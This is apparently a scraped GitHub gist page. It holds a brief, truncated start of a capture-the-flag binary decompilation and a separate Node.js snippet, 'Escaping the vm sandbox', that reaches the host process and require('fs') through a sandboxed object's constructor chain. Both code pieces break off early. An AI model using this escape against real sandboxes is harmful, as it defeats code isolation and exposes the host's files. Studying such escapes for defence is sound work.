Skip to content

Instantly share code, notes, and snippets.

View natanbc's full-sized avatar
💭
git push --force

Natan natanbc

💭
git push --force
View GitHub Profile

So, we take a look at the binary and do some basic decompilation.

void main(void)
{
  uint switch_00;
  int switch;
  char *buf;
  undefined8 uVar1;
  FILE *stream;
@domenic
domenic / escape-vm.js
Created August 17, 2015 20:20
Escaping the vm sandbox
"use strict";
const vm = require("vm");
const sandbox = { anObject: {} };
const whatIsThis = vm.runInNewContext(`
const ForeignObject = anObject.constructor;
const ForeignFunction = ForeignObject.constructor;
const process = ForeignFunction("return process")();
const require = process.mainModule.require;
require("fs");